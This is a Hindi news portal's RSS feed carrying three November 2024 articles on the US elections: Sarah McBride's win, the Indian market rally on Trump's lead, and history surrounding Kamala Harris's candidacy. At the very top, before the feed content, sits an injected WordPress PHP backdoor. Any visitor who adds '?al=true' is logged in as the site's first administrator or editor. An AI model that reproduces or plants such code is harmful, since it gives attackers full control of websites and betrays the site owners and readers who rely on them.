// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); US Elections – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 07 Nov 2024 10:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सारा मैकब्राइड अमेरिकी कांग्रेस के लिए चुनी गईं पहली ट्रांसजेंडर बनी https://pratyushaashakinayikiran.com/?p=95095 Thu, 07 Nov 2024 10:45:00 +0000 https://pratyushaashakinayikiran.com/?p=95095 न्यूयोर्क
अमेरिका में हुए चुनाव (US Elections 2024) में डेमोक्रेट सीनेटर सारा मैकब्राइड ने इतिहास रचा है। वह अमेरिकी कांग्रेस के लिए चुनी गईं पहली ट्रांसजेंडर बन गईं हैं। उन्होंने डेलावेयर में रिपब्लिकन प्रतिद्वंद्वी जॉन व्हेलन तृतीय को हराया है।

चुनाव जीतने के बाद मैकब्राइड ने एक्स पर पोस्ट किया, "धन्यवाद, डेलावेयर! आपके वोट और आपके मूल्यों के कारण, मुझे कांग्रेस का अगला सदस्य बनने पर गर्व है। डेलावेयर ने यह साफ संदेश दिया है कि हमें एक ऐसा देश बनना चाहिए जो प्रजनन स्वतंत्रता की रक्षा करता है। हमारे सभी परिवारों के लिए वेतन के साथ छुट्टी और बच्चों की किफायती देखभाल की गारंटी देता है। सुनिश्चित करता है कि घर और इलाज सभी के लिए उपलब्ध हो।"
कौन हैं सारा मैकब्राइड?

सारा मैकब्राइड का जन्म 1990 में हुआ था। वह विलमिंगटन में पली-बढ़ी हैं। वह अपने समुदाय के लिए लंबे समय से आवाज उठाती रही हैं। उन्होंने डेलावेयर के पूर्व गवर्नर जैक मार्केल के लिए काम किया था।

मैकब्राइड ने दिवंगत अटॉर्नी जनरल ब्यू बिडेन के लिए भी काम किया। उन्होंने ओबामा और बाइडेन के राष्ट्रपति रहने के दौरान व्हाइट हाउस में सेवा की। मैकब्राइड ने LGBTQ कार्यकर्ता के रूप में राष्ट्रीय स्तर पर अपनी पहचान बनाई है। उन्होंने 3 मिलियन डॉलर से ज्यादा चंदा जुटाया था।

मैकब्राइड 2016 में डेमोक्रेटिक नेशनल कन्वेंशन में समानता और समावेश पर भाषण देकर पहली ट्रांसजेंडर वक्ता बनीं थीं। स्टेट सीनेटर के रूप में मैकब्राइड ने स्वास्थ्य देखभाल के मुद्दों पर काम कर नाम कमाया था।

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डोनाल्ड की बढ़त को शेयर बाजार का सलाम… Sensex-Nifty ने लगाई दौड़, ये 10 शेयर बने रॉकेट https://pratyushaashakinayikiran.com/?p=94506 Wed, 06 Nov 2024 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=94506 वाशिंगटन
अमेरिका में हुए राष्ट्रपति चुनाव के वोटों की गिनती हो रही है और धीरे-धीरे नतीजे भी आते जा रहे हैं।मीडिया रिपोर्ट्स के अनुसार अब तक 28 राज्यों के नतीजों में रिपब्लिकन पार्टी के पू्र्व राष्ट्रपति डोनाल्ड ट्रम्प ने 19 राज्यों में जीत हासिल की है, जबकि डेमोक्रेटिक पार्टी की कमला हैरिस को 09 राज्यों में जीत मिली है।
यहां अब तक आए नतीजों में कोई बड़ा उलटफेर देखने को नहीं मिला है। डेमोक्रेट्स के वफादार ब्लू स्टेट ने सुश्री हैरिस को जीत दिलाई है, जबकि रिपब्लिकन पार्टी के वफादार रेड स्टेट में श्री ट्रम्प जीत रहे हैं।

उल्लेखनीय है कि जब तक 07 स्विंग स्टेट (पेंसिल्वेनिया, मिशिगन, विस्कॉन्सिन, जॉर्जिया, नेवादा, एरिजोना और नॉर्थ कैरोलिना)का नतीजा नहीं आएगा, तब तक कोई पार्टी जीत का दावा नहीं कर सकती। स्विंग स्टेट वे राज्य हैं जहां दोनों पार्टियों के बीच वोट का मार्जिन काफी कम रहता हैं।

वहीं, कुछ राज्यों में वोटिंग खत्म होने में अब भी समय है। अमेरिका के 50 राज्यों में 538 इलेक्टोरेल वोट्स यानी सीटों के लिए वोटिंग मंगलवार को भारतीय समय के मुताबिक शाम ०4 बजे शुरू हुई। आज सुबह करीब 9:30 तक सभी राज्यों में वोटिंग खत्म हो जाएगी।

गौरतलब है कि राष्ट्रपति चुनाव के साथ ही हो रहे संसदीय चुनाव में भी श्री ट्रम्प की पार्टी रिपब्लिकन को बढ़त मिली हुई है।
राष्ट्रपति पद के लिए रिपब्लिकन पार्टी के उम्मीदवार ट्रम्प और डेमोक्रेटिक पार्टी की उम्मीदवार हैरिस के बीच कड़ा मुकाबला बना हुआ है। अगर सुश्री जीतीं, तो अमेरिका में 230 साल के इतिहास में पहली बार कोई महिला राष्ट्रपति बनेगी।
वहीं, अगर ट्रम्प जीतते हैं तो 04 साल बाद व्हाइट हाउस में वापसी करेंगे। सुश्री हैरिस फिलहाल अमेरिका की उप-राष्ट्रपति हैं, जबकि श्री ट्रम्प 2017 से 2021 तक राष्ट्रपति रह चुके हैं।

डोनाल्ड की बढ़त को शेयर बाजार का सलाम…

शेयर बाजार (Share Market) में लगातार दूसरे दिन तेजी देखने को मिली. सप्ताह के तीसरे कारोबारी दिन बुधवार को बॉम्बे स्टॉक एक्सचेंज का 30 शेयरों वाला सेंसेक्स (Sensex) अपने पिछले बंद की तुलना में 295 अंक की तेजी के साथ 79771 के लेवल पर ओपन हुआ. तो वहीं नेशनल स्टॉक एक्सचेंज के निफ्टी ने भी जोरदार तेजी के साथ 24308.75 के स्तर पर कारोबार की शुरुआत की. अमेरिका में राष्ट्रपति चुनाव के नतीजों के चलते ग्लोबल मार्केट में तेजी का असर भारतीय बाजार पर भी देखने को मिला है.

ग्लोबल मार्केट में तेजी से उछला बाजार
पॉजिटिव ग्लोबल संकेतों के बीच भारतीय शेयर बाजार ने बुधवार को धमाकेदार शुरुआत की. BSE Sensex मंगलवार के अपने बंद 79,476.63 के लेवल से 295 अंक चढ़कर 79,771.82 के लेवल पर ओपन हुआ. जबकि NSE Nifty 24,213.30 के स्तर की तुलना में बढ़त लेते हुए 24,308.75 के स्तर पर खुला. बाजार में इस तेजी का असर प्री-ओपनिंग सेशन में भी दिखाई दिया था. जब सुबह 9.15 बजे पर शेयर मार्केट ओपन हुआ, तो BSE लार्जकैप के 30 शेयरों में से 22 शेयरों में जोरदार तेजी देखने को मिली. वहीं 8 शेयर ऐसे रहे, जिनकी शुरुआत लाल निशान पर हुई.  

ट्रंप को लीड मिलने से बाजार बमबम
अमेरिका में होने वाली किसी भी हलचल का असर भारतीय बाजार पर भी देखने को मिलता है, फिर चाहे बात चुनावों की हो, या फिर US Fed के फैसलों की. ऐसे में इलेक्शन रिजल्टस भी बाजार को प्रभावित कर सकता है. ग्लोबल ब्रोकरेज पहले से ही ये अनुमान जता रहे थे कि अगर चुनावी नतीजों में डोनाल्ड ट्रंप को जीत मिलती है, तो भारतीय शेयर बाजार में रैली देखने को मिल सकती है. कुछ ऐसे ही संकेत चुनावी नतीजों के दौरान भी देखने को मिल रहे हैं. Donald Trump को मिली लीड के असर से शेयर बाजार ने भी जोरदार शुरुआत की है.

गौरतलब है कि ग्लोबल ब्रोकरेज फर्म Emkey Global ने अमेरिकी चुनावों को लेकर जारी अपनी रिपोर्ट में अनुमान जाहिर करते हुए कहा है कि अगर इस इलेक्शन में ट्रंप जीतते हैं, तो फिर भारतीय बाजार में कुछ दिनों तक रैली देखने को मिल सकती है.

इन शेयरों में तूफानी तेजी
Share Market में तेजी के बीच HCL Tech Share (2.24%), Infy Share (2.03%), SunPharma Share (1.62%), Bajaj Finserv (1.28%) की तेजी के साथ कारोबार कर रहे थे. मिडकैप कैटेगरी में शामिल Dixon Share (4.76%), RVNL Share (3.59%), IRCTC Share (3.44%) की उछाल के साथ ट्रेड करते नजर आए, तो वहीं स्मॉलकैप कैटेगरी में शामिल CCL Share (8.97%), Kaynes Share (6.14%) और NwtWeb Share (5.08%) की तेजी के साथ कारोबार कर रहे थे.

डोनाल्ड ट्रंप 214 सीटों पर आगे
खबर लिखे जाने तक अमेरिकी राष्ट्रपति चुनाव के नतीजों के रुझान बेहद रोमांचक होते नजर आ रहे थे. US Election काउंटिंग के बीच राष्ट्रपति पद की उम्मीदवार कमला हैरिस जहां 179 सीटों पंर आगे चल रही थी, तो वहीं डोनाल्ड ट्रंप 214 सीटों पर लीड बनाए हुए थे.

मंगलवार को अचानक उछला था बाजार
बीते कारोबारी दिन मंगलवार को बॉम्बे स्टॉक एक्सचेंज का 30 शेयरों वाला सेंसेक्स (Sensex) 78,542 के लेवल पर ओपन हुआ था और कारोबार के दौरान 79,523.13 के लेवल तक उछला था. हालांकि, मार्केट क्लोज होने पर ये 694.39 अंक का तगड़ी बढ़त के साथ 79,476.63 के लेवल पर बंद हुआ था. इसके अलावा नेशनल स्टॉक एक्सचेंज का निफ्टी (Nifty) 23,916.50 के लेवल पर खुलने के बाद अंत में 217.95 अंक की तेजी लेकर 24,213.30 के स्तर पर क्लोज हुआ था.

 

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US चुनाव: अगर कमला हैरिस चुनाव जीतती हैं तो वह 16वीं उपराष्ट्रपति होंगी जो राष्ट्रपति के तौर पर काम करेंगी https://pratyushaashakinayikiran.com/?p=94302 Tue, 05 Nov 2024 20:45:00 +0000 https://pratyushaashakinayikiran.com/?p=94302 वाशिंगटन
अमेरिकी राष्ट्रपति चुनाव का 235 वर्षों का इतिहास कई दिलचस्प तथ्यों से भरा है। इस बार डेमोक्रेटिक पार्टी की तरफ से कमला हैरिस की दावेदारी ने इस चुनाव को बेहद खास बना दिया है। अगर वह चुनाव जीततीं तो कई नए एतिहासिक रिकॉर्ड अपने नाम कर सकती हैं। अमेरिकी राष्ट्रपति चुनाव के 235 वर्षों के इतिहास में कभी कोई महिला विजेता नहीं बन सकी। अधिकांश इतिहासकार और लेखक मानते हैं कि विक्टोरिया वुडहुल 1872 में राष्ट्रपति पद के लिए चुनाव लड़ने वाली पहली महिला थीं। हालांकि कुछ लोग इस दावे पर सवाल भी उठाते हैं।

आखिरी बार 2016 में हिलेरी क्लिंटन पद के काफी नजदीक पहुंच कर भी हार गई। उन्हें ट्रंप से करीब 28 लाख अधिक पापुलर वोट मिले लेकिन चुनाव ट्रंप ने जीता क्योंकि उन्होंने इलेक्टोरल कॉलेज का बहुमत प्राप्त कर लिया। इस बार कमला हैरिस अगर चुनाव जीतती हैं तो वह पहली महिला राष्ट्रपति होने का गौरव हासिल कर सकती हैं। इसके अलावा वह दूसरी ब्लैक शख्स और पहली ब्लैक महिला होंगी जो इस पद पर बैठेंगी। साथ वह पहली एशियन अमेरिकन और भारतीय अमेरिकन होंगी जो व्हाइट हाउस में पहुंचेंगी।

अब तक पंद्रह राष्ट्रपति ऐसे रहे हैं जो कि उपराष्ट्रपति के रूप में देश को अपनी सेवाएं दे चुके हैं। इनमें से छह – जॉन एडम्स (1796), थॉमस जेफरसन (1800), मार्टिन वैन ब्यूरन (1836), रिचर्ड निक्सन (1968), जॉर्ज एच. डब्ल्यू. बुश (1988), और जो बिडेन (2020) – ने चुनाव जीतने के बाद अपना पहला कार्यकाल शुरू किया।

जबकि बाकी नौ ने, अपने पूर्ववर्ती की कार्यकाल के दौरान मृत्यु या इस्तीफे के बाद (उत्तराधिकार नियमों के अनुसार) प्रेसिडेंट के रूप में अपना पहला कार्यकाल शुरू किया। इनमें से थियोडोर रूजवेल्ट, केल्विन कूलिज, हैरी एस. ट्रूमैन और लिंडन बी. जॉनसन बाद में राष्ट्रपति चुने गए, जबकि जॉन टायलर, मिलार्ड फिलमोर, एंड्रयू जॉनसन, चेस्टर ए. आर्थर और गेराल्ड फोर्ड नहीं चुने गए।

अगर कमला हैरिस चुनाव जीतती हैं तो वह 16वीं उपराष्ट्रपति होंगी जो राष्ट्रपति के तौर पर काम करेंगी। फिलहाल अधिकांश सर्वों में कमला हैरिस और डोनाल्ड ट्रंप के बीच कांटे की टक्कर बताई गई है। तमना पर्यवेक्षकों की राय यही बताती है कि चुनाव में कड़ा मुकाबला देखने को मिलेगा।

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